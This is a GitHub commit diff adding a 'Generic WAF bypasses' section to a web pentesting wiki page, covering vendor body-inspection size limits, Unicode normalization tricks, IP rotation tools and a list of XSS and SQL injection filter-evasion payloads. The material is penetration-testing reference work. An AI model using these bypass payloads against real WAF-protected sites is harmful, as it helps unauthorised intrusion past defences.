You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: pentesting-web/proxy-waf-protections-bypass.md
+90-1Lines changed: 90 additions & 1 deletion
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -121,11 +121,100 @@ Connection: close\r\n
121
121
122
122
It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
123
123
124
+
## Generic WAF bypasses
125
+
126
+
### Request Size Limits
127
+
128
+
Commonly WAFs have a certain length limit of requests to check and if a POST/PUT/PATCH request is over it, the WAF won't check the request.
129
+
130
+
* For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
131
+
132
+
<tabledata-header-hidden><thead><tr><thwidth="687"></th><th></th></tr></thead><tbody><tr><td>Maximum size of a web request body that can be inspected for Application Load Balancer and AWS AppSync protections</td><td>8 KB</td></tr><tr><td>Maximum size of a web request body that can be inspected for CloudFront, API Gateway, Amazon Cognito, App Runner, and Verified Access protections**</td><td>64 KB</td></tr></tbody></table>
133
+
134
+
* From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
135
+
136
+
Older Web Application Firewalls with Core Rule Set 3.1 (or lower) allow messages larger than **128 KB** by turning off request body inspection, but these messages won't be checked for vulnerabilities. For newer versions (Core Rule Set 3.2 or newer), the same can be done by disabling the maximum request body limit. When a request exceeds the size limit:
137
+
138
+
If p**revention mode**: Logs and blocks the request.\
139
+
If **detection mode**: Inspects up to the limit, ignores the rest, and logs if the `Content-Length` exceeds the limit.
140
+
141
+
* From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en\_US)**:**
142
+
143
+
By default, the WAF inspects only the first 8KB of a request. It can increase the limit up to 128KB by adding Advanced Metadata.
144
+
145
+
* From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
Depending on the implementation of Unicode normalization (more info [here](https://jlajara.gitlab.io/Bypass\_WAF\_Unicode)), characters that share Unicode compatability may be able to bypass the WAF and execute as the intended payload. Compatible characters can be found [here](https://www.compart.com/en/unicode).
162
+
163
+
#### Example <ahref="#example"id="example"></a>
164
+
165
+
```bash
166
+
# under the NFKD normalization algorithm, the characters on the left translate
### IP Rotation <ahref="#ip-rotation"id="ip-rotation"></a>
178
+
179
+
*[https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): Generate an API gateway URL to by used with ffuf
180
+
*[https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): Similar to fireprox
181
+
*[https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): Burp Suite plugin that uses API gateway IPs
182
+
*[https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): A dynamically determined number of container instances are activated based on the input file size and split factor, with the input split into chunks for parallel execution, such as 100 instances processing 100 chunks from a 10,000-line input file with a split factor of 100 lines.
183
+
184
+
### Regex Bypasses
185
+
186
+
Different techniques can be used to bypass the regex filters on the firewalls. Examples include alternating case, adding line breaks, and encoding payloads. Resources for the various bypasses can be found at [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) and [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS\_Filter\_Evasion\_Cheat\_Sheet.html). The examples below were pulled from [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2).
187
+
188
+
```bash
189
+
<sCrIpT>alert(XSS)</sCriPt>#changing the case of the tag
190
+
<<script>alert(XSS)</script> #prepending an additional "<"
191
+
<script>alert(XSS) // #removing the closing tag
192
+
<script>alert`XSS`</script> #using backticks instead of parenetheses
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
202
+
new Function`alt\`6\``; #using backticks instead of parentheses
203
+
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
204
+
%26%2397;lert(1) #using HTML encoding
205
+
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
206
+
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()># use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)
207
+
```
208
+
209
+
## Tools
210
+
211
+
* [**nowafpls**](https://github.com/assetnote/nowafpls): Burp plugin to add junk data to requests to bypass WAFs by length
0 commit comments